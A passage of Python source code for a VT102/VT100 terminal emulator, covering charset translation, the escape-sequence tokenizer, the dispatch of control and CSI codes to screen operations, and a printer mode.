119 return p >= 3 and s[2] == ord('>')
120 def les(p, s, P, L, C):
121 return p == P and s[L] < 256 and (TOK_TBL[s[L]] & C) == C
122 def eps(p, s, cc, C):
123 return p >= 3 and s[2] != ord('?') and s[2] != ord('>') and cc < 256 and (TOK_TBL[cc] & C) == C
124 def ees(p, cc, C):
125 return p >= 3 and cc < 256 and (TOK_TBL[cc] & C) == C
126
127
128 class CharCodes:
129 """VT100 Charsets
130
131 Character Set Conversion
132
133 The processing contains a VT100 specific code translation layer.
134 It's still in use and mainly responsible for the line drawing graphics.
135
136 These and some other glyphs are assigned to codes (0x5f-0xfe)
137 normally occupied by the latin letters. Since this codes also
138 appear within control sequences, the extra code conversion
139 does not permute with the tokenizer and is placed behind it
140 in the pipeline. It only applies to tokens, which represent
141 plain characters.
142
143 This conversion it eventually continued in Widget, since
144 it might involve VT100 enhanced fonts, which have these
145 particular glyphs allocated in (0x00-0x1f) in their code page.
146 """
147 def __init__(self):
148 self.charset = [0, 0, 0, 0]
149 self.cu_cs = 0 # actual charset.
150 self.graphic = False # Some VT100 tricks
151 self.pound = False # Some VT100 tricks
152 self.trans = [0, 0, 0, 0, 0, 0, 0] # pre-latin conversion
153 self.sa_graphic = False # saved graphic
154 self.sa_pound = False # saved pound
155 self.sa_trans = [0, 0, 0, 0, 0, 0, 0] # saved pre-latin conversion
156
157 def reset(self):
158 self.charset = [ord(c) for c in "BBBB"]
159 self.cu_cs = 0
160 self.graphic = False
161 self.pound = False
162 self.trans_from_string("[\\]{|}~")
163 self.sa_graphic = False
164 self.sa_pound = False
165
166 def trans_from_string(self, string):
167 #assert len(string) == 6, string
168 self.trans = [ord(c) for c in string]
169
170 def applyCharset(self, c):
171 if self.graphic and 0x5f <= c and c <= 0x7e:
172 return widget.VT100_GRAPHICS[c-0x5f]
173 if self.pound and c == ord('#'):
174 return 0xa3 # Obsolete mode
175 if ord('[') <= c and c <= ord(']'):
176 return self.trans[c-ord('[')+0] & 0xff
177 if ord('{') <= c and c <= ord('~'):
178 return self.trans[c-ord('{')+3] & 0xff
179 return c
180
181 def setCharset(self, n, cs):
182 self.charset[n & 3] = cs
183 self.useCharset(self.cu_cs)
184
185 def save(self):
186 self.sa_graphic = self.graphic
187 self.sa_pound = self.pound
188 self.sa_trans = self.trans[:]
189
190 def restore(self):
191 self.graphic = self.sa_graphic
192 self.pound = self.sa_pound
193 self.trans = self.sa_trans[:]
194
195 def useCharset(self, n):
196 self.cu_cs = n & 3
197 self.graphic = (self.charset[n & 3] == '0')
198 self.pound = (self.charset[n & 3] == 'A') # This mode is obsolete
199 self.trans_from_string("[\\]{|}~") # ancient mode, identical
200 # FIXME: we might better use octal strings below to prevent filter problems
201 if self.charset[n & 3] == 'K':
202 self.trans_from_string("ÄÖÜäöüß") # ancient mode, german
203 elif self.charset[n & 3] == 'R':
204 self.trans_from_string("°η§ιωθ¨") # ancient mode, french
205
206
207 class EmuVt102(Emulation):
208 """VT102 Terminal Emulation
209
210 This class puts together the screens, the pty and the widget to a
211 complete terminal emulation. Beside combining it's componentes, it
212 handles the emulations's protocol.
213
214 It consists of the following sections:
215 - Incoming Bytes Event pipeline
216 - Outgoing Bytes
217 - Mouse Events
218 - Keyboard Events
219 - Modes and Charset State
220 """
221
222 def __init__(self, gui):
223 super(EmuVt102, self).__init__(gui)
224 self._pbuf = []
225 self._argv = [0]
226 # file used while in print mode
227 self._print_fd = None
228 # mapping with mode as key and a boolean indicating wether it's
229 # activated as value
230 self._curr_mode = {}
231 self._save_mode = {}
232 self._charset = [CharCodes(), CharCodes()]
233 self._hold_screen = False
234 self.reset()
235 gui.myconnect("mouseSignal", self.onMouse)
236
237 def reset(self):
238 self._resetToken()
239 self._resetModes()
240 self._resetCharset(0)
241 self._resetCharset(1)
242 self._screen[0].reset()
243 self._screen[1].reset()
244 self._setCodec(0)
245
246 # Processing the incoming byte stream #####################################
247 """Incoming Bytes Event pipeline
248
249 This section deals with decoding the incoming character stream.
250 Decoding means here, that the stream is first seperated into `tokens'
251 which are then mapped to a `meaning' provided as operations by the
252 `TEScreen' class or by the emulation class itself.
253
254 The pipeline proceeds as follows:
255
256 - Tokenizing the ESC codes (onRcvChar)
257 - VT100 code page translation of plain characters (applyCharset)
258 - Interpretation of ESC codes (tau)
259
260 The escape codes and their meaning are described in the
261 technical reference of this program.
262
263
264 Tokens ------------------------------------------------------------------
265
266
267 Since the tokens are the central notion if this section, we've put them
268 in front. They provide the syntactical elements used to represent the
269 terminals operations as byte sequences.
270
271 They are encodes here into a single machine word, so that we can later
272 switch over them easily. Depending on the token itself, additional
273 argument variables are filled with parameter values.
274
275 The tokens are defined below:
276
277 - CHR - Printable characters (32..255 but DEL (=127))
278 - CTL - Control characters (0..31 but ESC (= 27), DEL)
279 - ESC - Escape codes of the form <ESC><CHR but `[]()+*#'>
280 - ESC_DE - Escape codes of the form <ESC><any of `()+*#%'> C
281 - CSI_PN - Escape codes of the form <ESC>'[' {Pn} ';' {Pn} C
282 - CSI_PS - Escape codes of the form <ESC>'[' {Pn} ';' ... C
283 - CSI_PR - Escape codes of the form <ESC>'[' '?' {Pn} ';' ... C
284 - VT52 - VT52 escape codes
285 - <ESC><Chr>
286 - <ESC>'Y'{Pc}{Pc}
287 - XTE_HA - Xterm hacks <ESC>`]' {Pn} `;' {Text} <BEL>
288 note that this is handled differently
289
290 The last two forms allow list of arguments. Since the elements of
291 the lists are treated individually the same way, they are passed
292 as individual tokens to the interpretation. Further, because the
293 meaning of the parameters are names (althought represented as numbers),
294 they are includes within the token ('N').
295
296
297 Tokenizer ---------------------------------------------------------------
298
299 The tokenizers state
300
301 The state is represented by the buffer (pbuf, ppos),
302 and accompanied by decoded arguments kept in (argv,argc).
303 Note that they are kept internal in the tokenizer.
304
305
306 Instead of keeping an explicit state, we deduce it from the
307 token scanned so far. It is then immediately combined with
308 the current character to form a scanning decision.
309
310 This is done by the following defines.
311
312 - P is the length of the token scanned so far.
313 - L (often P-1) is the position on which contents we base a decision.
314 - C is a character or a group of characters (taken from 'tbl').
315
316 Note that they need to applied in proper order.
317 """
318
319 def Xpe(self):
320 return len(self._pbuf) >= 2 and self._pbuf[1] == ord(']')
321 def Xte(self, cc):
322 return self.Xpe() and cc == 7
323 def ces(self, cc, C):
324 return cc < 256 and (TOK_TBL[cc] & C) == C and not self.Xte(cc)
325
326 def onRcvChar(self, cc):
327 """char received from the subprocess"""
328 if self._print_fd:
329 self.printScan(cc)
330 return
331 if cc == 127: # VT100: ignore.
332 return
333 if self.ces(cc, CTL):
334 # DEC HACK ALERT! Control Characters are allowed *within* esc sequences in VT100
335 # This means, they do neither a resetToken nor a pushToToken. Some of them, do
336 # of course. Guess this originates from a weakly layered handling of the X-on
337 # X-off protocol, which comes really below this level.
338 if cc == CTRL('X') or cc == CTRL('Z') or cc == ESC: # VT100: CAN or SUB
339 self._resetToken()
340 if cc != ESC:
341 self.tau(TY_CTL(chr(cc+ord('@'))), 0, 0)
342 return
343 # Advance the state
344 self._pbuf.append(cc)
345 s = self._pbuf
346 p = len(self._pbuf)
347
348 if self.getMode(MODE_Ansi): # Decide on proper action
349 if lec(p, s, 1, 0, ESC):
350 pass
351 elif les(p, s, 2, 1, GRP):
352 pass
353 elif self.Xte(cc):
354 self._XtermHack()
355 self._resetToken()
356 elif self.Xpe():
357 pass
358 elif lec(p,s, 3, 2, ord('?')):
359 pass
360 elif lec(p, s, 3, 2, ord('>')):
361 pass
362 elif lun(p, cc):
363 self.tau(TY_CHR, self._applyCharset(cc), 0)
364 self._resetToken()
365 elif lec(p, s, 2, 0, ESC):
366 self.tau(TY_ESC(chr(s[1])), 0, 0)
367 self._resetToken()
368 elif les(p, s, 3, 1, SCS):
369 self.tau(TY_ESC_CS(chr(s[1]), chr(s[2])), 0, 0)
370 self._resetToken()
371 elif lec(p, s, 3, 1, ord('#')):
372 self.tau(TY_ESC_DE(chr(s[2])), 0, 0)
373 self._resetToken()
374 elif eps(p, s, cc, CPN):
375 if len(self._argv)> 1:
376 q = self._argv[-1]
377 else:
378 q = None
379 self.tau(TY_CSI_PN(chr(cc)), self._argv[0], q)
380 self._resetToken()
381 elif ees(p, cc, DIG):
382 self._addDigit(cc - ord('0'))
383 elif eec(p, cc, ord(';')):
384 self._argv.append(0)
385 else:
386 for arg in self._argv:
387 if epp(p, s):
388 self.tau(TY_CSI_PR(chr(cc), arg), 0, 0)
389 elif egt(p, s):
390 self.tau(TY_CSI_PG(chr(cc)), 0, 0) # spec. elif token == for ESC]>0c or ESC]>c
391 else:
392 self.tau(TY_CSI_PS(chr(cc), arg), 0, 0)
393 self._resetToken()
394
395 else: # mode VT52
396 if lec(p, s, 1, 0, ESC):
397 pass
398 elif les(p, s, 1, 0, CHR):
399 self.tau(TY_CHR, s[0], 0)
400 self._resetToken()
401 elif lec(p, s, 2, 1, ord('Y')):
402 pass
403 elif lec(p, s, 3, 1, ord('Y')):
404 pass
405 elif p < 4:
406 self.tau(TY_VT52(chr(s[1])), 0, 0)
407 self._resetToken()
408 else:
409 self.tau(TY_VT52(chr(s[1])), s[2], s[3])
410 self._resetToken()
411
412
413 def tau(self, token, p, q):
414 """
415 Interpretation of ESC codes
416 ---------------------------
417
418 Now that the incoming character stream is properly tokenized,
419 meaning is assigned to them. These are either operations of
420 the current screen, or of the emulation class itself.
421
422 The token to be interpreteted comes in as a machine word
423 possibly accompanied by two parameters.
424
425 Likewise, the operations assigned to, come with up to two
426 arguments. One could consider to make up a proper table
427 from the function below.
428
429 The technical reference manual provides more informations
430 about this mapping.
431 """
432 if token == TY_CHR: self._scr.showCharacter(p) # UTF16
433
434 # 127 DEL: ignored on input
435
436 elif token == TY_CTL('@') : pass # NUL: ignored
437 elif token == TY_CTL('A') : pass # SOH: ignored
438 elif token == TY_CTL('B') : pass # STX: ignored
439 elif token == TY_CTL('C') : pass # ETX: ignored
440 elif token == TY_CTL('D') : pass # EOT: ignored
441 elif token == TY_CTL('E') : self.reportAnswerBack() # VT100
442 elif token == TY_CTL('F') : pass # ACK: ignored
443 elif token == TY_CTL('G'):
444 if self._connected: # VT100
445 self._gui.bell()
446 self.myemit("notifySessionState", (NOTIFYBELL,))
447 elif token == TY_CTL('H') : self._scr.backSpace() # VT100
448 elif token == TY_CTL('I') : self._scr.tabulate() # VT100
449 elif token == TY_CTL('J') : self._scr.newLine() # VT100
450 elif token == TY_CTL('K') : self._scr.newLine() # VT100
451 elif token == TY_CTL('L') : self._scr.newLine() # VT100
452 elif token == TY_CTL('M') : self._scr.return_() # VT100
453 elif token == TY_CTL('N') : self._useCharset(1) # VT100
454 elif token == TY_CTL('O') : self._useCharset(0) # VT100
455
456 elif token == TY_CTL('P') : pass # DLE: ignored
457 elif token == TY_CTL('Q') : pass # DC1: XON continue # VT100
458 elif token == TY_CTL('R') : pass # DC2: ignored
459 elif token == TY_CTL('S') : pass # DC3: XOFF halt # VT100
460 elif token == TY_CTL('T') : pass # DC4: ignored
461 elif token == TY_CTL('U') : pass # NAK: ignored
462 elif token == TY_CTL('V') : pass # SYN: ignored
463 elif token == TY_CTL('W') : pass # ETB: ignored
464 elif token == TY_CTL('X') : self._scr.showCharacter(0x2592) # VT100 XXX Not in spec
465 elif token == TY_CTL('Y') : pass # EM : ignored
466 elif token == TY_CTL('Z') : self._scr.showCharacter(0x2592) # VT100 XXX Not in spec
467 elif token == TY_CTL('[') : pass # ESC: cannot be seen here.
468 elif token == TY_CTL('\\') : pass # FS : ignored
469 elif token == TY_CTL(']') : pass # GS : ignored
470 elif token == TY_CTL('^') : pass # RS : ignored
471 elif token == TY_CTL('_') : pass # US : ignored
472
473 elif token == TY_ESC('D') : self._scr.index() # VT100
474 elif token == TY_ESC('E') : self._scr.NextLine() # VT100
475 elif token == TY_ESC('H') : self._scr.changeTabStop(True) # VT100
476 elif token == TY_ESC('M') : self._scr.reverseIndex() # VT100
477 elif token == TY_ESC('Z') : self.reportTerminalType()
478 elif token == TY_ESC('c') : self.reset()
479
480 elif token == TY_ESC('n') : self._useCharset(2)
481 elif token == TY_ESC('o') : self._useCharset(3)
482 elif token == TY_ESC('7') : self._saveCursor()
483 elif token == TY_ESC('8') : self._restoreCursor()
484
485 elif token == TY_ESC('=') : self.setMode(MODE_AppKeyPad)
486 elif token == TY_ESC('>') : self.resetMode(MODE_AppKeyPad)
487 elif token == TY_ESC('<') : self.setMode(MODE_Ansi) # VT52
488
489 elif token == TY_ESC_CS('(', '0') : self._setCharset(0, '0') # VT100
490 elif token == TY_ESC_CS('(', 'A') : self._setCharset(0, 'A') # VT100
491 elif token == TY_ESC_CS('(', 'B') : self._setCharset(0, 'B') # VT100
492 elif token == TY_ESC_CS('(', 'K') : self._setCharset(0, 'K') # VT220
493 elif token == TY_ESC_CS('(', 'R') : self._setCharset(0, 'R') # VT220
494
495 elif token == TY_ESC_CS(')', '0') : self._setCharset(1, '0') # VT100
496 elif token == TY_ESC_CS(')', 'A') : self._setCharset(1, 'A') # VT100
497 elif token == TY_ESC_CS(')', 'B') : self._setCharset(1, 'B') # VT100
498 elif token == TY_ESC_CS(')', 'K') : self._setCharset(1, 'K') # VT220
499 elif token == TY_ESC_CS(')', 'R') : self._setCharset(1, 'R') # VT220
500
501 elif token == TY_ESC_CS('*', '0') : self._setCharset(2, '0') # VT100
502 elif token == TY_ESC_CS('*', 'A') : self._setCharset(2, 'A') # VT100
503 elif token == TY_ESC_CS('*', 'B') : self._setCharset(2, 'B') # VT100
504 elif token == TY_ESC_CS('*', 'K') : self._setCharset(2, 'K') # VT220
505 elif token == TY_ESC_CS('*', 'R') : self._setCharset(2, 'R') # VT220
506
507 elif token == TY_ESC_CS('+', '0') : self._setCharset(3, '0') # VT100
508 elif token == TY_ESC_CS('+', 'A') : self._setCharset(3, 'A') # VT100
509 elif token == TY_ESC_CS('+', 'B') : self._setCharset(3, 'B') # VT100
510 elif token == TY_ESC_CS('+', 'K') : self._setCharset(3, 'K') # VT220
511 elif token == TY_ESC_CS('+', 'R') : self._setCharset(3, 'R') # VT220
512
513 elif token == TY_ESC_CS('%', 'G') : self._setCodec(1) # LINUX
514 elif token == TY_ESC_CS('%', '@') : self._setCodec(0) # LINUX
515
516 elif token == TY_ESC_DE('3') : pass # IGNORED: double high, top half
517 elif token == TY_ESC_DE('4') : pass # IGNORED: double high, bottom half
518 elif token == TY_ESC_DE('5') : pass # IGNORED: single width, single high
519 elif token == TY_ESC_DE('6') : pass # IGNORED: double width, single high
520 elif token == TY_ESC_DE('8') : self._scr.helpAlign()
521
522 elif token == TY_CSI_PS('K', 0): self._scr.clearToEndOfLine()
523 elif token == TY_CSI_PS('K', 1): self._scr.clearToBeginOfLine()
524 elif token == TY_CSI_PS('K', 2): self._scr.clearEntireLine()
525 elif token == TY_CSI_PS('J', 0): self._scr.clearToEndOfScreen()
526 elif token == TY_CSI_PS('J', 1): self._scr.clearToBeginOfScreen()
527 elif token == TY_CSI_PS('J', 2): self._scr.clearEntireScreen()
528 elif token == TY_CSI_PS('g', 0): self._scr.changeTabStop(False) # VT100
529 elif token == TY_CSI_PS('g', 3): self._scr.clearTabStops() # VT100
530 elif token == TY_CSI_PS('h', 4): self._scr.setMode(screen.MODE_Insert)
531 elif token == TY_CSI_PS('h', 20): self.setMode(screen.MODE_NewLine)
532 elif token == TY_CSI_PS('i', 0): pass # IGNORE: attached printer # VT100
533 elif token == TY_CSI_PS('i', 4): pass # IGNORE: attached printer # VT100
534 elif token == TY_CSI_PS('i', 5): self.setPrinterMode(True) # VT100
535 elif token == TY_CSI_PS('l', 4): self._scr.resetMode(screen.MODE_Insert)
536 elif token == TY_CSI_PS('l', 20): self.resetMode(screen.MODE_NewLine)
537 elif token == TY_CSI_PS('s', 0): self._saveCursor() # XXX Not in spec
538 elif token == TY_CSI_PS('u', 0): self._restoreCursor() # XXX Not in spec
539
540 elif token == TY_CSI_PS('m', 0): self._scr.setDefaultRendition()
541 elif token == TY_CSI_PS('m', 1): self._scr.setRendition(ca.RE_BOLD) # VT100
542 elif token == TY_CSI_PS('m', 4): self._scr.setRendition(ca.RE_UNDERLINE) # VT100
543 elif token == TY_CSI_PS('m', 5): self._scr.setRendition(ca.RE_BLINK) # VT100
544 elif token == TY_CSI_PS('m', 7): self._scr.setRendition(ca.RE_REVERSE)
545 elif token == TY_CSI_PS('m', 10): pass # IGNORED: mapping related # LINUX
546 elif token == TY_CSI_PS('m', 11): pass # IGNORED: mapping related # LINUX
547 elif token == TY_CSI_PS('m', 12): pass # IGNORED: mapping related # LINUX
548 elif token == TY_CSI_PS('m', 22): self._scr.resetRendition(ca.RE_BOLD)
549 elif token == TY_CSI_PS('m', 24): self._scr.resetRendition(ca.RE_UNDERLINE)
550 elif token == TY_CSI_PS('m', 25): self._scr.resetRendition(ca.RE_BLINK)
551 elif token == TY_CSI_PS('m', 27): self._scr.resetRendition(ca.RE_REVERSE)
552
553 elif token == TY_CSI_PS('m', 30): self._scr.setForeColor(0)
554 elif token == TY_CSI_PS('m', 31): self._scr.setForeColor(1)
555 elif token == TY_CSI_PS('m', 32): self._scr.setForeColor(2)
556 elif token == TY_CSI_PS('m', 33): self._scr.setForeColor(3)
557 elif token == TY_CSI_PS('m', 34): self._scr.setForeColor(4)
558 elif token == TY_CSI_PS('m', 35): self._scr.setForeColor(5)
559 elif token == TY_CSI_PS('m', 36): self._scr.setForeColor(6)
560 elif token == TY_CSI_PS('m', 37): self._scr.setForeColor(7)
561 elif token == TY_CSI_PS('m', 39): self._scr.setForeColorToDefault()
562
563 elif token == TY_CSI_PS('m', 40): self._scr.setBackColor(0)
564 elif token == TY_CSI_PS('m', 41): self._scr.setBackColor(1)
565 elif token == TY_CSI_PS('m', 42): self._scr.setBackColor(2)
566 elif token == TY_CSI_PS('m', 43): self._scr.setBackColor(3)
567 elif token == TY_CSI_PS('m', 44): self._scr.setBackColor(4)
568 elif token == TY_CSI_PS('m', 45): self._scr.setBackColor(5)
569 elif token == TY_CSI_PS('m', 46): self._scr.setBackColor(6)
570 elif token == TY_CSI_PS('m', 47): self._scr.setBackColor(7)
571 elif token == TY_CSI_PS('m', 49): self._scr.setBackColorToDefault()
572
573 elif token == TY_CSI_PS('m', 90): self._scr.setForeColor( 8)
574 elif token == TY_CSI_PS('m', 91): self._scr.setForeColor( 9)
575 elif token == TY_CSI_PS('m', 92): self._scr.setForeColor(10)
576 elif token == TY_CSI_PS('m', 93): self._scr.setForeColor(11)
577 elif token == TY_CSI_PS('m', 94): self._scr.setForeColor(12)
578 elif token == TY_CSI_PS('m', 95): self._scr.setForeColor(13)
579 elif token == TY_CSI_PS('m', 96): self._scr.setForeColor(14)
580 elif token == TY_CSI_PS('m', 97): self._scr.setForeColor(15)
581
582 elif token == TY_CSI_PS('m', 100): self._scr.setBackColor( 8)
583 elif token == TY_CSI_PS('m', 101): self._scr.setBackColor( 9)
584 elif token == TY_CSI_PS('m', 102): self._scr.setBackColor(10)
585 elif token == TY_CSI_PS('m', 103): self._scr.setBackColor(11)
586 elif token == TY_CSI_PS('m', 104): self._scr.setBackColor(12)
587 elif token == TY_CSI_PS('m', 105): self._scr.setBackColor(13)
588 elif token == TY_CSI_PS('m', 106): self._scr.setBackColor(14)
589 elif token == TY_CSI_PS('m', 107): self._scr.setBackColor(15)
590
591 elif token == TY_CSI_PS('n', 5): self.reportStatus()
592 elif token == TY_CSI_PS('n', 6): self.reportCursorPosition()
593 elif token == TY_CSI_PS('q', 0): pass # IGNORED: LEDs off # VT100 XXX Not in spec
594 elif token == TY_CSI_PS('q', 1): pass # IGNORED: LED1 on # VT100 XXX Not in spec
595 elif token == TY_CSI_PS('q', 2): pass # IGNORED: LED2 on # VT100 XXX Not in spec
596 elif token == TY_CSI_PS('q', 3): pass # IGNORED: LED3 on # VT100 XXX Not in spec
597 elif token == TY_CSI_PS('q', 4): pass # IGNORED: LED4 on # VT100 XXX Not in spec
598 elif token == TY_CSI_PS('x', 0):self.reportTerminalParams(2) # VT100
599 elif token == TY_CSI_PS('x', 1):self.reportTerminalParams(3) # VT100
600
601 elif token == TY_CSI_PN('@'): self._scr.insertChars(p)
602 elif token == TY_CSI_PN('A'): self._scr.cursorUp(p) # VT100
603 elif token == TY_CSI_PN('B'): self._scr.cursorDown(p) # VT100
604 elif token == TY_CSI_PN('C'): self._scr.cursorRight(p) # VT100
605 elif token == TY_CSI_PN('D'): self._scr.cursorLeft(p) # VT100
606 elif token == TY_CSI_PN('G'): self._scr.setCursorX(p) # LINUX
607 elif token == TY_CSI_PN('H'): self._scr.setCursorYX(p, q) # VT100
608 elif token == TY_CSI_PN('L'): self._scr.insertLines(p)
609 elif token == TY_CSI_PN('M'): self._scr.deleteLines(p)
610 elif token == TY_CSI_PN('P'): self._scr.deleteChars(p)
611 elif token == TY_CSI_PN('X'): self._scr.eraseChars (p)
612 elif token == TY_CSI_PN('c'): self.reportTerminalType() # VT100
613 elif token == TY_CSI_PN('d'): self._scr.setCursorY(p) # LINUX
614 elif token == TY_CSI_PN('f'): self._scr.setCursorYX(p, q) # VT100
615 elif token == TY_CSI_PN('r'): self._setMargins(p, q) # VT100 XXX Not in spec
616 elif token == TY_CSI_PN('y'): pass # IGNORED: Confidence test # VT100 XXX Not in spec
617
618 elif token == TY_CSI_PR('h', 1): self.setMode(MODE_AppCuKeys) # VT100
619 elif token == TY_CSI_PR('l', 1): self.resetMode(MODE_AppCuKeys) # VT100
620 elif token == TY_CSI_PR('s', 1): self.saveMode(MODE_AppCuKeys) # FIXME
621 elif token == TY_CSI_PR('r', 1): self.restoreMode(MODE_AppCuKeys) # FIXME
622
623 elif token == TY_CSI_PR('l', 2): self.resetMode(MODE_Ansi) # VT100
624
625 elif token == TY_CSI_PR('h', 3): self._setColumns(132) # VT100
626 elif token == TY_CSI_PR('l', 3): self._setColumns(80) # VT100
627
628 elif token == TY_CSI_PR('h', 4): pass # IGNORED: soft scrolling # VT100
629 elif token == TY_CSI_PR('l', 4): pass # IGNORED: soft scrolling # VT100
630
631 elif token == TY_CSI_PR('h', 5): self._scr.setMode(screen.MODE_Screen) # VT100
632 elif token == TY_CSI_PR('l', 5): self._scr.resetMode(screen.MODE_Screen) # VT100
633
634 elif token == TY_CSI_PR('h', 6): self._scr.setMode(screen.MODE_Origin) # VT100
635 elif token == TY_CSI_PR('l', 6): self._scr.resetMode(screen.MODE_Origin) # VT100
636 elif token == TY_CSI_PR('s', 6): self._scr.saveMode(screen.MODE_Origin) # FIXME
637 elif token == TY_CSI_PR('r', 6): self._scr.restoreMode(screen.MODE_Origin) # FIXME
638
639 elif token == TY_CSI_PR('h', 7): self._scr.setMode(screen.MODE_Wrap) # VT100
640 elif token == TY_CSI_PR('l', 7): self._scr.resetMode(screen.MODE_Wrap) # VT100
641 elif token == TY_CSI_PR('s', 7): self._scr.saveMode(screen.MODE_Wrap) # FIXME
642 elif token == TY_CSI_PR('r', 7): self._scr.restoreMode(screen.MODE_Wrap) # FIXME
643
644 elif token == TY_CSI_PR('h', 8): pass # IGNORED: autorepeat on # VT100
645 elif token == TY_CSI_PR('l', 8): pass # IGNORED: autorepeat off # VT100
646
647 elif token == TY_CSI_PR('h', 9): pass # IGNORED: interlace # VT100
648 elif token == TY_CSI_PR('l', 9): pass # IGNORED: interlace # VT100
649
650 elif token == TY_CSI_PR('h', 25): self.setMode(screen.MODE_Cursor) # VT100
651 elif token == TY_CSI_PR('l', 25): self.resetMode(screen.MODE_Cursor) # VT100
652
653 elif token == TY_CSI_PR('h', 41): pass # IGNORED: obsolete more(1) fix # XTERM
654 elif token == TY_CSI_PR('l', 41): pass # IGNORED: obsolete more(1) fix # XTERM
655 elif token == TY_CSI_PR('s', 41): pass # IGNORED: obsolete more(1) fix # XTERM
656 elif token == TY_CSI_PR('r', 41): pass # IGNORED: obsolete more(1) fix # XTERM
657
658 elif token == TY_CSI_PR('h', 47): self.setMode(MODE_AppScreen) # VT100
659 elif token == TY_CSI_PR('l', 47): self.resetMode(MODE_AppScreen) # VT100
660 elif token == TY_CSI_PR('s', 47): self.saveMode(MODE_AppScreen) # XTERM
661 elif token == TY_CSI_PR('r', 47): self.restoreMode(MODE_AppScreen) # XTERM
662
663 # XTerm defines the following modes:
664 # SET_VT200_MOUSE 1000
665 # SET_VT200_HIGHLIGHT_MOUSE 1001
666 # SET_BTN_EVENT_MOUSE 1002
667 # SET_ANY_EVENT_MOUSE 1003
668 #
669 # FIXME: Modes 1000,1002 and 1003 have subtle differences which we don't
670 # support yet, we treat them all the same.
671
672 elif token == TY_CSI_PR('h', 1000): self.setMode(MODE_Mouse1000) # XTERM
673 elif token == TY_CSI_PR('l', 1000): self.resetMode(MODE_Mouse1000) # XTERM
674 elif token == TY_CSI_PR('s', 1000): self.saveMode(MODE_Mouse1000) # XTERM
675 elif token == TY_CSI_PR('r', 1000): self.restoreMode(MODE_Mouse1000) # XTERM
676
677 elif token == TY_CSI_PR('h', 1001): pass # IGNORED: hilite mouse tracking # XTERM
678 elif token == TY_CSI_PR('l', 1001): self.resetMode(MODE_Mouse1000) # XTERM
679 elif token == TY_CSI_PR('s', 1001): pass # IGNORED: hilite mouse tracking # XTERM
680 elif token == TY_CSI_PR('r', 1001): pass # IGNORED: hilite mouse tracking # XTERM
681
682 elif token == TY_CSI_PR('h', 1002): self.setMode(MODE_Mouse1000) # XTERM
683 elif token == TY_CSI_PR('l', 1002): self.resetMode(MODE_Mouse1000) # XTERM
684 elif token == TY_CSI_PR('s', 1002): self.saveMode(MODE_Mouse1000) # XTERM
685 elif token == TY_CSI_PR('r', 1002): self.restoreMode(MODE_Mouse1000) # XTERM
686
687 elif token == TY_CSI_PR('h', 1003): self.setMode(MODE_Mouse1000) # XTERM
688 elif token == TY_CSI_PR('l', 1003): self.resetMode(MODE_Mouse1000) # XTERM
689 elif token == TY_CSI_PR('s', 1003): self.saveMode(MODE_Mouse1000) # XTERM
690 elif token == TY_CSI_PR('r', 1003): self.restoreMode(MODE_Mouse1000) # XTERM
691
692 elif token == TY_CSI_PR('h', 1047): self.setMode(MODE_AppScreen) # XTERM
693 elif token == TY_CSI_PR('l', 1047): # XTERM
694 self._screen[1].clearEntireScreen()
695 self.resetMode(MODE_AppScreen)
696 elif token == TY_CSI_PR('s', 1047): self.saveMode(MODE_AppScreen) # XTERM
697 elif token == TY_CSI_PR('r', 1047): self.restoreMode(MODE_AppScreen) # XTERM
698
699 # FIXME: Unitoken: save translations
700 elif token == TY_CSI_PR('h', 1048): self._saveCursor() # XTERM
701 elif token == TY_CSI_PR('l', 1048): self._restoreCursor() # XTERM
702 elif token == TY_CSI_PR('s', 1048): self._saveCursor() # XTERM
703 elif token == TY_CSI_PR('r', 1048): self._restoreCursor() # XTERM
704
705 # FIXME: every once new sequences like this pop up in xterm.
706 # Here's a guess of what they could mean.
707 elif token == TY_CSI_PR('h', 1049): # XTERM
708 self._saveCursor()
709 self._screen[1].clearEntireScreen()
710 self.setMode(MODE_AppScreen)
711 elif token == TY_CSI_PR('l', 1049): # XTERM
712 self.resetMode(MODE_AppScreen)
713 self._restoreCursor()
714
715 # FIXME: when changing between vt52 and ansi mode evtl do some resetting.
716 elif token == TY_VT52('A'): self._scr.cursorUp(1) # VT52
717 elif token == TY_VT52('B'): self._scr.cursorDown(1) # VT52
718 elif token == TY_VT52('C'): self._scr.cursorRight(1) # VT52
719 elif token == TY_VT52('D'): self._scr.cursorLeft(1) # VT52
720
721 elif token == TY_VT52('F'): self._setAndUseCharset(0, '0') # VT52
722 elif token == TY_VT52('G'): self._setAndUseCharset(0, 'B') # VT52
723
724 elif token == TY_VT52('H'): self._scr.setCursorYX(1, 1) # VT52
725 elif token == TY_VT52('I'): self._scr.reverseIndex() # VT52
726 elif token == TY_VT52('J'): self._scr.clearToEndOfScreen() # VT52
727 elif token == TY_VT52('K'): self._scr.clearToEndOfLine() # VT52
728 elif token == TY_VT52('Y'): self._scr.setCursorYX(p-31, q-31 ) # VT52
729 elif token == TY_VT52('Z'): self.reportTerminalType() # VT52
730 elif token == TY_VT52('<'): self.setMode(MODE_Ansi) # VT52
731 elif token == TY_VT52('='): self.setMode(MODE_AppKeyPad) # VT52
732 elif token == TY_VT52('>'): self.resetMode(MODE_AppKeyPad) # VT52
733
734 elif token == TY_CSI_PG('c') : self.reportSecondaryAttributes() # VT100
735
736 else:
737 self.reportErrorToken(token, p, q);
738
739 def reportErrorToken(self, token, p, q):
740 api.devlog('undecodable %r, %r, %r' % (token, p, q))
741
742 def reportCursorPosition(self):
743 self.sendString("\033[%d;%dR" % (self._scr.getCursorX()+1,
744 self._scr.getCursorY()+1))
745
746 def setPrinterMode(self, on):
747 if on:
748 cmd = os.getenv("PRINT_COMMAND", "cat > /dev/null")
749 self._print_fd = os.popen(cmd, "w")
750 else:
751 self._print_fd = None
752
753 def printScan(self, cc):
754 assert self._print_fd
755 if cc == CTRL('Q') or cc == CTRL('S') or cc == 0:
756 return
757 self._pbuf.append(cc) # advance the state
758 s = self._pbuf
759 p = len(self._pbuf)
760 if lec(p, s, 1, 0, ESC): return
761 if lec(p, s, 2, 1, ord('[')): return
762 if lec(p, s, 3, 2, ord('4')): return
763 if lec(p, s, 3, 2, ord('5')): return
764 if lec(p, s, 4, 3, ord('i')) and s[2] == ord('4'):
765 self.setPrinterMode(False)
766 self._resetToken()
767 return
768 self._print_fd.write(''.join([chr(c) for c in s]))
769 self._resetToken()
770
771 def _XtermHack(self):
772 i = 2
773 arg = ''
774 while ord('0') <= self._pbuf[i] < ord('9'):
775 arg += chr(self._pbuf[i])
776 i += 1
777 arg = int(arg)
778 if self._pbuf[i] != ord(';'):
779 self.reportErrorToken('xterm hack', len(self._pbuf), self._pbuf[-1])
